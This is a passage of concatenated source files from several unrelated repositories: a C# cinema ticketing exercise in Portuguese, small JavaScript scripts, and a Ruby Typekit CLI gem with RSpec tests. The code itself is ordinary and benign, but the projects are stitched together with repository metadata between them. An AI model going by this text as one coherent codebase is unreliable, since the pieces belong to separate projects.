TimeSpan.FromMinutes(100), FaixaEtaria = 0, Genero = "Animação" }, new FilmeModel { Codigo = 5, Nome = "Homem-Aranha Longe de Casa", Duracao = TimeSpan.FromMinutes(130), FaixaEtaria = 10, Genero = "Aventura" }, new FilmeModel { Codigo = 6, Nome = "Era Uma Vez Em... Hollywood", Duracao = TimeSpan.FromMinutes(161), FaixaEtaria = 16, Genero = "Drama" }, new FilmeModel { Codigo = 7, Nome = "IT - Capítulo 2", Duracao = TimeSpan.FromMinutes(169), FaixaEtaria = 16, Genero = "Terror" }, new FilmeModel { Codigo = 8, Nome = "Pokémon - Detetive Pikachu", Duracao = TimeSpan.FromMinutes(105), FaixaEtaria = 0, Genero = "Aventura" } } ); context.SaveChanges(); } } } } } <file_sep>/BilheteriaCinema.Infra/Model/SalaModel.cs using System.Collections.Generic; namespace BilheteriaCinema.Infra.EF.Model { public class SalaModel { public int Id { get; set; } public string Descricao { get; set; } public int Codigo { get; set; } public int Lugares { get; set; } public bool Disponivel { get; set; } public List<SessaoModel> Sessoes { get; set; } } } <file_sep>/BilheteriaCinema.Application/Application/FilmeApplication.cs using System.Collections.Generic; using System.Threading.Tasks; using BilheteriaCinema.Application.DTO; using BilheteriaCinema.Infra.EF.Model; using BilheteriaCinema.Infra.EF.Repository; namespace BilheteriaCinema.Application.Application { public class FilmeApplication : IFilmeApplication { private readonly IFilmeRepository _filmeRepository; public FilmeApplication(IFilmeRepository filmeRepository) { _filmeRepository = filmeRepository; } public async Task<List<FilmeDTO>> BuscarFilmes() { var models = await _filmeRepository.BuscarFilmes(); var dtos = new List<FilmeDTO>(); foreach (var model in models) { var dto = new FilmeDTO { Nome = model.Nome, Codigo = model.Codigo, Duracao = model.Duracao, FaixaEtaria = model.FaixaEtaria, Genero = model.Genero }; dtos.Add(dto); } return dtos; } public async Task<FilmeDTO> BuscarFilme(int codigo) { var model = await _filmeRepository.BuscarFilme(codigo); if (model == null) return null; var dto = new FilmeDTO { Nome = model.Nome, Codigo = model.Codigo, Duracao = model.Duracao, FaixaEtaria = model.FaixaEtaria, Genero = model.Genero }; return dto; } } } <file_sep>/BilheteriaCinema.Infra/Repository/FilmeRepository.cs using System.Collections.Generic; using System.Threading.Tasks; using BilheteriaCinema.Infra.EF.Model; using Microsoft.EntityFrameworkCore; namespace BilheteriaCinema.Infra.EF.Repository { public class FilmeRepository : IFilmeRepository { private readonly DbBilheteriaCinemaContext _dbContext; public FilmeRepository(DbBilheteriaCinemaContext dbContext) { _dbContext = dbContext; } public async Task<List<FilmeModel>> BuscarFilmes() { return await _dbContext.Filmes.ToListAsync(); } public async Task<FilmeModel> BuscarFilme(int codigo) { return await _dbContext.Filmes.FirstAsync(x => x.Codigo == codigo); } } } <file_sep>/README.txt LINK PARA O POWERPOINT https://docs.google.com/presentation/d/1077y3RJ8tuaWZuZ-BdUEyOTOFOD79zgBESiJIwSJZ4Q/edit#slide=id.g6c3177c2a0_1_13 EXERCICIOS Ingresso Lista todos os ingressos cadastrados Ingresso?dataInicio=2019-12-09&dataFim=2019-12-09&cpf=26555333057&sessao=4 Lista os ingressos utilizando filtros opcionais para os seguintes campos: DataCompra CPF CodigoSessao Sessao Cadastrar uma sessão com os seguintes requisitos: O código deve ser único Uma sessão não pode ter uma Sala que já está sendo utilizada nesse período Sessao/{codigo} Buscar uma Sessão pelo seu código cadastrado Caso não exista nenhuma sessão com esse código retornar 404 (Not Found) Sugestões: Sigam os exemplos dos Endpoints Existentes O Projeto esta divido da seguinte forma: Api Application Infra.EF A Camada de API é a porta de entrada para acesso as informações A camada de Application tem todas a regras de negócio e manipulação dos objetos A camada de Infra.EF é responsável apenas pelo acesso aos dados Todas as camadas devem conter algum código Deve-se respeitar a estrutura do programa Todas as camadas devem ser utilizadas para a construção O banco de dados esta rodando em um Docker (SQL) e ele ja tem alguns filmes cadastrados Para acesso ao banco caso seja necessário podera utilizar o DBeaver https://dbeaver.io/download/ Todas as bases ja estão criadas e pré carregadas Rodar o Programa F5, Buildar o Programa CTRL+SHIFT+B, no Output voce consegue ver os erros Caso queira debugar basta colocar um BreakPoint na linha e rodar através do F5 ou apertar o Play no VSCode Qualquer dúvida é só chamar! docker run -e "ACCEPT_EULA=Y" -e "SA_PASSWORD=<PASSWORD>" \ -p 1433:1433 --name MyDb \ -d mcr.microsoft.com/mssql/server:2019-GA-ubuntu-16.04; <file_sep>/BilheteriaCinema.Infra/Model/IngressoModel.cs using System; namespace BilheteriaCinema.Infra.EF.Model { public class IngressoModel { public int Id { get; set; } public int Codigo { get; set; } public string CPF { get; set; } public DateTime DataCompra { get; set; } public decimal ValorPago { get; set; } public string Observacao { get; set; } public int CodigoSessao { get; set; } public SessaoModel Sessao { get; set; } } } <file_sep>/BilheteriaCinema.Application/Application/ISessaoApplication.cs using System; using BilheteriaCinema.Application.DTO; using System.Collections.Generic; using System.Threading.Tasks; namespace BilheteriaCinema.Application.Application { public interface ISessaoApplication { Task<List<SessaoDTO>> BuscarSessoes(DateTime? inicio, DateTime? fim, int? sala, int? filme); Task CancelarSessao(int codigo); } } <file_sep>/BilheteriaCinema.Infra/MapClass/MapSalaModel.cs using BilheteriaCinema.Infra.EF.Model; using Microsoft.EntityFrameworkCore; namespace BilheteriaCinema.Infra.EF.MapClass { public static class MapSalaModel { public static void MapSala(this ModelBuilder modelBuilder) { modelBuilder.Entity<SalaModel>(e => { e.ToTable("Sala", "dbo"); e.HasIndex(p => p.Id) .IsUnique(); e.HasIndex(p => p.Codigo) .IsUnique(); e.Property(p => p.Id) .ValueGeneratedOnAdd(); e.Property(p => p.Descricao) .HasMaxLength(240) .IsRequired(); e.Property(p => p.Lugares) .IsRequired(); e.Property(p => p.Disponivel) .IsRequired(); }); } } }<file_sep>/BilheteriaCinema.Application/DTO/IngressoDTO.cs using System; namespace BilheteriaCinema.Application.DTO { public class IngressoDTO { public int Codigo { get; set; } public string CPF { get; set; } public DateTime DataCompra { get; set; } public decimal ValorPago { get; set; } public string Observacao { get; set; } public int CodigoSessao { get; set; } } } <file_sep>/BilheteriaCinema.Infra/MapClass/MapFilmeModel.cs using BilheteriaCinema.Infra.EF.Model; using Microsoft.EntityFrameworkCore; namespace BilheteriaCinema.Infra.EF.MapClass { public static class MapFilmeModel { public static void MapFilme(this ModelBuilder modelBuilder) { modelBuilder.Entity<FilmeModel>(e => { e.ToTable("Filme", "dbo"); e.HasIndex(p => p.Id) .IsUnique(); e.HasIndex(p => p.Codigo) .IsUnique(); e.Property(p => p.Id) .ValueGeneratedOnAdd(); e.Property(p => p.Nome) .HasMaxLength(120) .IsRequired(); e.Property(p => p.Codigo) .IsRequired(); e.Property(p => p.Duracao) .IsRequired(); e.Property(p => p.FaixaEtaria) .IsRequired(); e.Property(p => p.Genero) .HasMaxLength(20) .IsRequired(); }); } } }<file_sep>/BilheteriaCinema.Application/DTO/SalaDTO.cs namespace BilheteriaCinema.Application.DTO { public class SalaDTO { public string Descricao { get; set; } public int Codigo { get; set; } public int Lugares { get; set; } public bool Disponivel { get; set; } } } <file_sep>/BilheteriaCinema.Infra/DbBilheteriaCinemaContext.cs using System.Linq; using BilheteriaCinema.Infra.EF.MapClass; using BilheteriaCinema.Infra.EF.Model; using Microsoft.EntityFrameworkCore; namespace BilheteriaCinema.Infra.EF { public class DbBilheteriaCinemaContext : DbContext { public DbSet<FilmeModel> Filmes { get; set; } public DbSet<IngressoModel> Ingressos { get; set; } public DbSet<SalaModel> Salas { get; set; } public DbSet<SessaoModel> Sessoes { get; set; } public DbBilheteriaCinemaContext(DbContextOptions options) : base(options) {} protected override void OnModelCreating(ModelBuilder modelBuilder) { foreach (var relationship in modelBuilder.Model.GetEntityTypes().SelectMany(e => e.GetForeignKeys())) { relationship.DeleteBehavior = DeleteBehavior.Restrict; } modelBuilder.MapFilme(); modelBuilder.MapIngresso(); modelBuilder.MapSala(); modelBuilder.MapSessao(); } } }<file_sep>/BilheteriaCinema.Infra/MapClass/MapSessaoModel.cs using BilheteriaCinema.Infra.EF.Model; using Microsoft.EntityFrameworkCore; namespace BilheteriaCinema.Infra.EF.MapClass { public static class MapSessaoModel { public static void MapSessao(this ModelBuilder modelBuilder) { modelBuilder.Entity<SessaoModel>(e => { e.ToTable("Sessao", "dbo"); e.HasIndex(p => p.Id) .IsUnique(); e.HasIndex(p => p.Codigo) .IsUnique(); e.Property(p => p.Id) .ValueGeneratedOnAdd(); e.Property(p => p.Descricao) .HasMaxLength(240) .IsRequired(); e.Property(p => p.Horario) .IsRequired(); e.Property(p => p.Valor) .IsRequired(); e.Property(p => p.CodigoSala) .IsRequired(); e.Property(p => p.CodigoFilme) .IsRequired(); }); } } }<file_sep>/BilheteriaCinema.Application/Application/ISalaApplication.cs using BilheteriaCinema.Application.DTO; using System.Collections.Generic; using System.Threading.Tasks; namespace BilheteriaCinema.Application.Application { public interface ISalaApplication { Task<List<SalaDTO>> BuscarSalas(bool? disponivel, int? min, int? max); Task<SalaDTO> BuscarSala(int codigo); Task<SalaDTO> CadastrarSala(SalaDTO sala); } } <file_sep>/BilheteriaCinema.Application/DTO/SessaoDTO.cs using System; namespace BilheteriaCinema.Application.DTO { public class SessaoDTO { public string Descricao { get; set; } public int Codigo { get; set; } public DateTime Horario { get; set; } public decimal Valor { get; set; } public int CodigoSala { get; set; } public int CodigoFilme { get; set; } } } <file_sep>/BilheteriaCinema.Infra/Repository/SessaoRepository.cs using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using BilheteriaCinema.Infra.EF.Model; using Microsoft.EntityFrameworkCore; namespace BilheteriaCinema.Infra.EF.Repository { public class SessaoRepository : ISessaoRepository { private readonly DbBilheteriaCinemaContext _dbContext; public SessaoRepository(DbBilheteriaCinemaContext dbContext) { _dbContext = dbContext; } public async Task<List<SessaoModel>> BuscarSessoes(DateTime? inicio, DateTime? fim, int? sala, int? filme) { return await _dbContext.Sessoes.Where(x => (inicio == null || x.Horario >= inicio) && (fim == null || x.Horario <= fim) && (sala == null || x.CodigoSala == sala) && (filme == null || x.CodigoFilme == filme)) .ToListAsync(); } public async Task<SessaoModel> BuscarSessao(int codigo) { return await _dbContext.Sessoes.FirstAsync(x => x.Codigo == codigo); } public async Task DeletarSessao(int codigo) { var sessao = await _dbContext.Sessoes.FirstAsync(x => x.Codigo == codigo); _dbContext.Remove(sessao); await _dbContext.SaveChangesAsync(); } } }
b585f67b83efe81ea97a48a9047d603273401909
[ "C#", "Text" ]
38
C#
ET33/BilheteriaCinema
afdecc3f6666e03ebbd3c3ae10bd4455d328ca90
deee327af43bf4e05f877c74d3fa9605c6012d00
refs/heads/master
<file_sep>angular.module('goalsApp', ['ngRoute', 'appRoutes', 'MainCtrl', 'GoalCtrl', 'GoalService']); <file_sep>angular.module('GoalCtrl', []).controller('GoalController', function($scope) { $scope.tagline = 'With only yourself to guide you'; }); <file_sep>var mongoose = require('mongoose'); var Schema = mongoose.Schema; var GoalSchema = new Schema({ title : {type : String, default: ''}, step : {type : String, default: ''} }); module.exports = mongoose.model('Goal', GoalSchema);
b113bc802656a3a9d93fccffcfbb9be1ff47acb7
[ "JavaScript" ]
3
JavaScript
nicklebee/goalsapp
59cdd6ab140f97d5bee6cfdc44d94266f46d8197
3b33556974947c5aa7a146a6d7342026ff4f3fb7
refs/heads/master
<repo_name>hinet60613/line_bot<file_sep>/app/direct_reply.py import os import random from app import wtf_reasons from app.emoji_list import CRY_EMOJI_LIST def pier_girl(): random.seed(os.urandom(5)) return random.choice( [ 'https://www.youtube.com/watch?v=BoD4yCTXTCU', 'https://www.youtube.com/watch?v=M-MT0z6ac7g' ] ) def girlfriend(): return [('image', 'https://i.imgur.com/g6WRWrk.jpg')] def daughter_red(): replies = [('image', 'https://i.imgur.com/vKGB3XM.jpg'), ('text', '杜家庄女兒紅 七日釀造 七星獎 口碑88分')] return replies def bot_help(): return '說明網頁 https://oripyon.weebly.com\n原始碼 https://github.com/leafwind/line_bot' def poor_chinese(): return '我覺的台灣人的中文水準以經爛ㄉ很嚴重 大家重來都不重視 因該要在加強 才能越來越利害' def qq(): random.seed(os.urandom(5)) return f'幫QQ喔 {random.choice(CRY_EMOJI_LIST)}' def mahoshoujo(): return '/人◕ ‿‿ ◕人\ 僕と契約して、魔法少女になってよ!' def why(): random.seed(os.urandom(5)) return f'因為{random.choice(wtf_reasons.reasons)}。' def tzguguaning(): return '恭迎慈孤觀音⎝༼ ◕д ◕ ༽⎠\n渡世靈顯四方⎝༼ ◕д ◕ ༽⎠' def gurulingpo(): s = ''' *``・*+。 | `*。 | *。 。∩∧ ∧ * + (・∀・ )*。+゚咕嚕靈波 `*。 ヽ つ*゚* `・+。*・`゚⊃ +゚ ☆ ∪~ 。*゚ `・+。*・+ ゚ ''' return s def unknown_schumi_behavior(): return '朽咪對於你想做的事情感到驚恐 他慌張的跑到電話旁邊準備打給警察局'<file_sep>/app/dice.py import json import logging import os import random from app.utils.gspread_util import auth_gss_client from constants import HUGE_GROUP_IDS, TEACHER_HO, PAN_SENTENCES, GSPREAD_KEY_CAT, GOOGLE_AUTH_JSON_PATH, \ GSPREAD_KEY_SCHUMI tarot_cards = json.load(open('app/tarot.json', encoding='utf8')) def touch_schumi(): random.seed(os.urandom(5)) gss_scopes = ['https://spreadsheets.google.com/feeds'] gss_client = auth_gss_client(GOOGLE_AUTH_JSON_PATH, gss_scopes) sh = gss_client.open_by_key(GSPREAD_KEY_SCHUMI) worksheet = sh.worksheet("摸朽咪") list_of_lists = worksheet.get_all_values() list_of_lists = list_of_lists[1:] population = [] weights = [] for w, text in list_of_lists: weights.append(float(w)) population.append(text) text = random.choices(population=population, weights=weights, k=1)[0] replies = [('text', text)] return replies def find_schumi(): random.seed(os.urandom(5)) gss_scopes = ['https://spreadsheets.google.com/feeds'] gss_client = auth_gss_client(GOOGLE_AUTH_JSON_PATH, gss_scopes) sh = gss_client.open_by_key(GSPREAD_KEY_SCHUMI) worksheet = sh.worksheet("找朽咪") list_of_lists = worksheet.get_all_values() list_of_lists = list_of_lists[1:] population = [] weights = [] for w, text in list_of_lists: weights.append(float(w)) population.append(text) text = random.choices(population=population, weights=weights, k=1)[0] replies = [('text', text)] return replies def draw_cat(): random.seed(os.urandom(5)) gss_scopes = ['https://spreadsheets.google.com/feeds'] gss_client = auth_gss_client(GOOGLE_AUTH_JSON_PATH, gss_scopes) sh = gss_client.open_by_key(GSPREAD_KEY_CAT) worksheet = sh.get_worksheet(0) list_of_lists = worksheet.get_all_values() list_of_lists = list_of_lists[1:] row = random.choice(list_of_lists) if row[1]: replies = [('image', row[0]), ('text', row[1])] else: replies = [('image', row[0])] return replies def draw_card(): random.seed(os.urandom(5)) msg = random.choice(TEACHER_HO) return msg def pan_pan(): random.seed(os.urandom(5)) msg = random.choice(PAN_SENTENCES) return msg def tarot(source_id): random.seed(os.urandom(5)) card = random.choice(tarot_cards) logging.info('%s: %s', card['nameCN'], card['url']) replies = [] if source_id not in HUGE_GROUP_IDS: # skip card picture for large groups replies.append(('image', card['url'])) replies.append(('text', f'{card["nameCN"]}: {card["conclusion"]}')) return replies def coc_7e_basic(msg): random.seed(os.urandom(5)) d100 = random.randint(1, 100) # 1 <= N <= 100 condition = int(msg.split('<=')[1]) result = f'克蘇魯的呼喚七版:(1D100<={condition}) 初始結果 → {d100}\n' final_dice = d100 if '(' in msg: extra = int(msg.split(')')[0].split('(')[1]) if -2 <= extra <= 2 and extra != 0: tens_digit = d100 // 10 abs_extra = abs(extra) extra_dices = [random.randint(1, 10) for _ in range(abs_extra)] if extra < 0: extra_dice_desc = '懲罰骰取高' tens_digit = max(tens_digit, max(extra_dices)) else: extra_dice_desc = '獎勵骰取低' tens_digit = min(tens_digit, min(extra_dices)) final_dice = tens_digit * 10 + d100 % 10 result += f'→ 十位數加骰為{"、".join([str(d*10) for d in extra_dices])},{extra_dice_desc} → 最終值({str(final_dice)})' if final_dice == 1: final_stat = ' → \大★成★功/' elif final_dice == 100: final_stat = ' → 大失敗,すばらしく運がないな、君は。' elif final_dice <= condition // 5: final_stat = ' → 極限成功' elif final_dice <= condition // 2: final_stat = ' → 困難成功' elif final_dice <= condition: final_stat = ' → 一般成功' elif final_dice > condition: final_stat = ' → 失敗' else: raise ValueError(f'invalid final_dice range: {final_dice}') result += final_stat return result def nca(): random.seed(os.urandom(5)) d10 = random.randint(1, 10) # 1 <= N <= 10 desc_str_map = { 1: '大失敗\n命中包含自己的友方,由被攻擊方選擇被命中的部位。', 2: '失敗\n未命中', 3: '失敗\n未命中', 4: '失敗\n未命中', 5: '失敗\n未命中', 6: '成功\n由被攻擊方選擇被命中的部位。', 7: '成功\n命中腳部。\n如果該部位全部件損壞,由攻擊者選擇其他任意部位。', 8: '成功\n命中胴部。\n如果該部位全部件損壞,由攻擊者選擇其他任意部位。', 9: '成功\n命中腕部。\n如果該部位全部件損壞,由攻擊者選擇其他任意部位。', 10: '成功\n命中頭部。\n如果該部位全部件損壞,由攻擊者選擇其他任意部位。', } return f'死靈年代記之永遠的後日談:[{d10}] → {desc_str_map[d10]}' def choice(matched_msg): random.seed(os.urandom(5)) options_str = matched_msg.split('[')[1][:-1] options = options_str.split(',') result = f'自訂選項:[{",".join(options)}] → {random.choice(options)}' return result def fortune(): random.seed(os.urandom(5)) dice = random.randint(1, 1000) # 1 <= N <= 1000 ans = [ '/(˃ᆺ˂)\大吉だよ!\nやったね⭐︎', '/(^ x ^=)\大吉……騙你的,差一點呢!\n只是吉而已呦', '/(^ x ^)\吉。🎉\n很棒呢!', '/(・ × ・)\中吉。\n朽咪覺得還不錯吧。(ゝ∀・)', '/(・ × ・)\小吉。\n就是小吉,平淡過日子,願世界和平。☮', '/(・ × ・)\半吉。\n㊗️朽咪祝福你!', '/(・ × ・)\末吉。\n嗯~勉勉強強吧!', '/(・ × ・)\末小吉。\n至少不壞呢!', '/(=´x`=)\凶。\n往好處想,至少還有很多更糟的!', '/(=´x`=)\小凶。\n運氣不是很好呢,怎麼辦?', '/(=´x`=)\半凶。\n有點糟糕~', '/(=´x`=)\末凶。\n運氣真差阿...幫QQ', '/人◕ ‿‿ ◕人\ 大凶⁉️僕と契約して、魔法少女になってよ!' ] if dice <= 20: return ans[0] elif dice <= 100: return ans[1] elif dice <= 200: return ans[2] elif dice <= 300: return ans[3] elif dice <= 400: return ans[4] elif dice <= 500: return ans[5] elif dice <= 600: return ans[6] elif dice <= 700: return ans[7] elif dice <= 800: return ans[8] elif dice <= 850: return ans[9] elif dice <= 900: return ans[10] elif dice <= 950: return ans[11] elif dice <= 1000: return ans[12] else: raise ValueError
8bd18d0c3ebc6a4400561ce68dd6d008fa38f8bd
[ "Python" ]
2
Python
hinet60613/line_bot
16ce947a01eb8d36ad27962b5365dbf93f140069
77f7b0791d977d4b331cb9d0532ebf3857450100
refs/heads/master
<file_sep>jQuery(document).ready(function($) { Site.init(); }); var Site = (function($) { // DOM caching var win = window; // Globals var w = { width: win.innerWidth, height: win.innerHeight, scroll: win.pageYOffset }; var ui = { fast: 0.2, slow: 0.4, step: 0.03, easeout: Power4.easeOut, easein: Power4.easeIn }; function updateGlobals(){ w.width = win.innerWidth; w.height = win.innerHeight; w.scroll = win.pageYOffset; } win.addEventListener('resize', updateGlobals, true); win.addEventListener('scroll', updateGlobals, true); win.addEventListener('load', updateGlobals, true); document.documentElement.setAttribute('data-ua', navigator.userAgent); return { autoInits: require('./auto'), init: function(){ for (var prop in this.modules) { if ( this.modules.hasOwnProperty(prop) ) { this.modules[prop](); } } for (var props in this.autoInits) { if ( this.autoInits.hasOwnProperty(props) ) { var $selector = $(props); if ($selector.length) { this.autoInits[props]($selector); } } } }, utils: require('./utils'), ui: ui, w: w }; })(jQuery); (function(m, u, ui, w, a, $){ var menu_state = false; // Example Module m.example = function(){ // Do stuff, the m.example module gets auto initialized. }; // Document loaded class m.docLoad = function(){ u.addClass(document.body, 'is-loaded'); }; })(Site.modules = Site.modules || {}, Site.utils, Site.ui, Site.w, Site.anim, jQuery);
a740e02428647400c3dcd3ca3686c75a41eb183b
[ "JavaScript" ]
1
JavaScript
codecomp/HoldingBase
d3d4f2aad3fc4abbc6a5761e42fe8992fe07416f
da6e58b8208a321213612406a3bfe4ea384e3ac1
refs/heads/master
<repo_name>ThayLiro/Projeto<file_sep>/index2.js const produtos = [ {nome: 'Coxinha', preco: 4.0}, {nome: 'Pastel', preco: 3.0}, {nome: 'Suco', preco: 2.0} ]; let exibirProduto = (p,i) => { console.log(i + '. '+ 'R$ ' + p.preco.toFixed(2)); }; console.log('TODOS OS PRODUTOS:'); produtos.forEach(exibirProduto); console.log('\nPRODUTOS DE MENOS DE R$ 3,00:'); produtos.filter(p => p.preco <= 3).forEach(exibirProduto); console.log('\nAUMENTO DE 20% EM TODOS OS PRODUTOS:'); produtos.map(p => { return{ nome: p.nome, preco: p.preco *= 1.2 } }).forEach(exibirProduto);
7448ba182c99ff52ab6f3d1809fc3857e66fd6cf
[ "JavaScript" ]
1
JavaScript
ThayLiro/Projeto
0202f701ddf44ec6eda6ee951bd360ef3aff1697
8b83735ebf46b5753c940bf48642785b74d32619
refs/heads/master
<repo_name>EnterStudios/typekit-cli<file_sep>/lib/typekit/api.rb require 'pp' require 'httparty' module Typekit class API include HTTParty attr_reader :auth_token API_URI = 'https://typekit.com/api/v1/json' base_uri API_URI def initialize(auth_token) @auth_token = auth_token self.class.headers('X-Typekit-Token' => auth_token) end def get_kits display_table = [] response = process_errors(self.class.get('/kits')) response['kits'].each do |kit| display_kit = get_kit(kit['id']) display_table << { 'name' => display_kit['name'], 'id' => kit['id'], 'analytics' => display_kit['analytics'].to_s, 'domains' => display_kit['domains'].join(',') } end display_table end def get_kit(id) response = process_errors(self.class.get("/kits/#{id}")) response.key?('kit') ? response['kit'] : [] end def create_kit(name, domains) create_body = { name: name, domains: domains } process_errors(self.class.post('/kits', body: create_body)) end def publish_kit(id) process_errors(self.class.post("/kits/#{id}/publish")) end def remove_kit(id) process_errors(self.class.delete("/kits/#{id}")) end private def process_errors(response) if response.key?('errors') errors = '[red]The server responded with the following error(s):[/] ' errors << response['errors'].join(',') Formatador.display_line(errors) exit(1) end response end end end <file_sep>/README.md # typekit-cli A command line interface to use in managing your font kits at https://typekit.com. Once you [sign up](https://accounts.adobe.com/) for an Adobe account, you can obtain an API token [here](https://typekit.com/account/tokens). ## Installation If you have checked out the code from this repository, you can interact with the interface by typing the following on your command line in the root of your checked out code: ``` ./bin/typekit <command> <params> ``` If you would like to install this as a gem you can install it via: ``` gem build typekit-cli.gemspec gem install typekit-<version>.gem ``` If you are using something like `rbenv` you will want to do an `rbenv rehash` to make the executable available in your current shell after installing the gem. ## Usage Option | Description ------------------------------|-------------------------------------------------- `typekit create --domains=1 2 3 --name=NAME` | Creates a kit using the specified name and domain list `typekit list` | Lists available kits associated with your account `typekit logout` | Removes your cached Adobe Typekit API token `typekit publish --id=ID` | Publish the specified kit publicly `typekit remove --id=ID` | Remove the specified kit `typekit show --id=ID` | Display detailed information about the specified kit ## Testing Unit tests are written with [rspec](https://github.com/rspec/rspec) and can be run with the command `bundle exec rspec` ## Contributing 1. Fork it ( https://github.com/ascendantlogic/typekit-cli/fork ) 1. Create your feature branch: `git checkout -b feature/new_feature` 1. Commit your changes: `git commit -am 'Add some cool stuff'` 1. Add test coverage in the spec directory 1. Run `bundle exec rspec` and ensure that all tests pass 1. Push to the branch: `git push origin feature/new_feature` 1. Create a new Pull Request <file_sep>/typekit-cli.gemspec lib = File.expand_path('../lib', __FILE__) $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) require 'typekit' Gem::Specification.new do |gem| gem.name = Typekit::NAME gem.version = Typekit::VERSION gem.date = Date.today.to_s gem.summary = 'Command line interface for interacting with the Typekit API' gem.description = gem.summary gem.authors = ['<NAME>'] gem.files = Dir['lib/**/*.rb'] gem.homepage = 'https://github.com/ascendantlogic/typekit-cli' gem.license = 'MIT' gem.executables = ['typekit'] gem.require_paths = ['lib'] gem.add_dependency 'thor', '~> 0.19.1' gem.add_dependency 'httparty', '~> 0.13.1' gem.add_dependency 'formatador', '~> 0.2.5' gem.add_development_dependency 'rspec', '~> 3.3.0' gem.add_development_dependency 'webmock', '~> 1.21.0' gem.add_development_dependency 'rubocop', '~> 0.32.1' end <file_sep>/lib/typekit/cli.rb require 'thor' module Typekit class CLI < Thor include Thor::Actions def initialize(*args) super @api = Typekit::API.new(Typekit::Authentication.get_token) end desc 'logout', 'Remove your cached Adobe Typekit API token' def logout Typekit::Authentication.clear_token Formatador.display_line('[yellow]Successfully logged out[/]') end desc 'list', 'List available kits' def list display_table = @api.get_kits if display_table.empty? Formatador.display_line('[red]No kits found[/]') else Formatador.display_compact_table(display_table, display_table.first.keys) end end desc 'show', 'Display a specific kit' option :id, type: :string, required: true def show kit = @api.get_kit(options[:id]) Formatador.display_line("[bold]Name:[/] #{kit['name']}") Formatador.display_line("[bold]ID:[/] #{kit['id']}") Formatador.display_line("[bold]Analytics:[/] #{kit['analytics']}") Formatador.display_line("[bold]Domains:[/] #{kit['domains'].join(',')}") Formatador.display_line('[bold]Families:[/]') Formatador.indent do kit['families'].each do |family| Formatador.display_line("[bold]Name:[/] #{family['name']}") Formatador.display_line("[bold]ID:[/] #{family['id']}") Formatador.display_line("[bold]Slug:[/] #{family['slug']}") Formatador.display_line("[bold]CSS Names:[/] #{family['css_names'].join(',')}\n") end end end desc 'remove', 'Removes a kit' option :id, type: :string, required: true def remove @api.remove_kit(options[:id]) Formatador.display_line("[bold][green]Successfully removed kit[/] [bold]#{options[:id]}[/]") end desc 'create', 'Create a kit' option :name, type: :string, required: true option :domains, type: :array, required: true def create response = @api.create_kit(options[:name], options[:domains]) id = response['kit']['id'] output = "[bold][green]Successfully created kit[/] " output << "[bold]#{options[:name]}[/] " output << "[bold][green]with id[/] " output << "[bold]#{id}[/]" Formatador.display_line(output) end desc 'publish', 'Publish a kit publicly' option :id, type: :string, required: true def publish @api.publish_kit(options[:id]) Formatador.display_line("[bold][green]Successfully published kit [/][bold]#{options[:id]}[/]") end end end <file_sep>/lib/typekit.rb module Typekit VERSION = '0.1.0' NAME = 'typekit' end require 'formatador' require 'typekit/authentication' require 'typekit/api' require 'typekit/cli' <file_sep>/bin/typekit #!/usr/bin/env ruby lib = File.expand_path('../../lib', __FILE__) $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) require 'typekit' NON_AUTH_ACTIONS = ['logout', 'help'] unless Typekit::Authentication.authenticated? || (ARGV & NON_AUTH_ACTIONS).size > 0 Typekit::Authentication.prompt_for_token end Typekit::CLI.start(ARGV) <file_sep>/spec/lib/typekit/api_spec.rb module Typekit describe API do let(:auth_token) { '<PASSWORD>' } let(:kit_id) { 'abcd123' } let(:list_uri) { "#{API::API_URI}/kits" } let(:kit_uri) { "#{list_uri}/#{kit_id}" } let(:publish_uri) { "#{kit_uri}/publish" } let(:list_response) { { 'kits' => [{ 'id' => kit_id, 'link' => kit_uri }] } } let(:empty_list_response) { { 'kits' => [] } } let(:kit_response) do { 'kit' => { 'id' => kit_id, 'name' => 'test kit 1', 'analytics' => false, 'domains' => ['a.com', 'b.com', 'c.com'], 'families' => [] } } end let(:error_response) { { 'errors' => ['Not authenticated'] } } before(:each) do # silence formatador output for errors allow(Formatador).to receive(:display_line) end describe '#get_kits' do subject { described_class.new(auth_token).get_kits } context 'returns list of kits' do let(:formatted_response) do [{ 'name' => 'test kit 1', 'id' => kit_id, 'analytics' => 'false', 'domains' => 'a.com,b.com,c.com' }] end before(:each) do stub_request(:get, list_uri) .to_return(body: list_response.to_json, status: 200, headers: { content_type: 'application/json' }) stub_request(:get, kit_uri) .to_return(body: kit_response.to_json, status: 200, headers: { content_type: 'application/json' }) end it 'returns display information about each kit' do expect(subject).to eq(formatted_response) end end context 'returns no kits' do before(:each) do stub_request(:get, list_uri) .to_return(body: empty_list_response.to_json, status: 200, headers: { content_type: 'application/json' }) end it 'returns no kits to be displayed' do expect(subject).to eq([]) end end context 'returns an error' do before(:each) do stub_request(:get, list_uri) .to_return(body: error_response.to_json, status: 401, headers: { content_type: 'application/json' }) end it 'exits with a status code of 1' do begin subject rescue SystemExit => e expect(e.status).to eq(1) end end end end describe '#get_kit' do subject { described_class.new(auth_token).get_kit(kit_id) } context 'returns a kit' do before(:each) do stub_request(:get, kit_uri) .to_return(body: kit_response.to_json, status: 200, headers: { content_type: 'application/json' }) end it 'returns the kit information' do expect(subject).to eq(kit_response['kit']) end end context 'invalid kit id specified' do before(:each) do stub_request(:get, kit_uri) .to_return(body: error_response.to_json, status: 401, headers: { content_type: 'application/json' }) end it 'exits with a status code of 1' do begin subject rescue SystemExit => e expect(e.status).to eq(1) end end end end describe '#create_kit' do let(:name) { 'test kit 1' } let(:domains) { ['a.com', 'b.com', 'c.com'] } let(:request) { 'name=test%20kit%201&domains[]=a.com&domains[]=b.com&domains[]=c.com' } subject { described_class.new(auth_token).create_kit(name, domains) } context 'succesfully created new kit' do before(:each) do stub_request(:post, list_uri) .with(body: request) .to_return(body: kit_response.to_json, status: 200, headers: { content_type: 'application/json' }) subject end it 'sends an HTTP POST with the information for the new kit' do expect(WebMock).to have_requested(:post, "#{API::API_URI}/kits") .with(body: request) end it 'returns the name and ID of the created kit' do expect(subject.parsed_response).to eq(kit_response) end end context 'unable to create more kits' do before(:each) do stub_request(:post, list_uri) .with(body: request) .to_return(body: error_response.to_json, status: 400, headers: { content_type: 'application/json' }) end it 'exits with a status code of 1' do begin subject rescue SystemExit => e expect(e.status).to eq(1) end end end end describe '#publish_kit' do subject { described_class.new(auth_token).publish_kit(kit_id) } context 'succesfully publish kit' do before(:each) do stub_request(:post, publish_uri) .to_return(body: { 'published' => 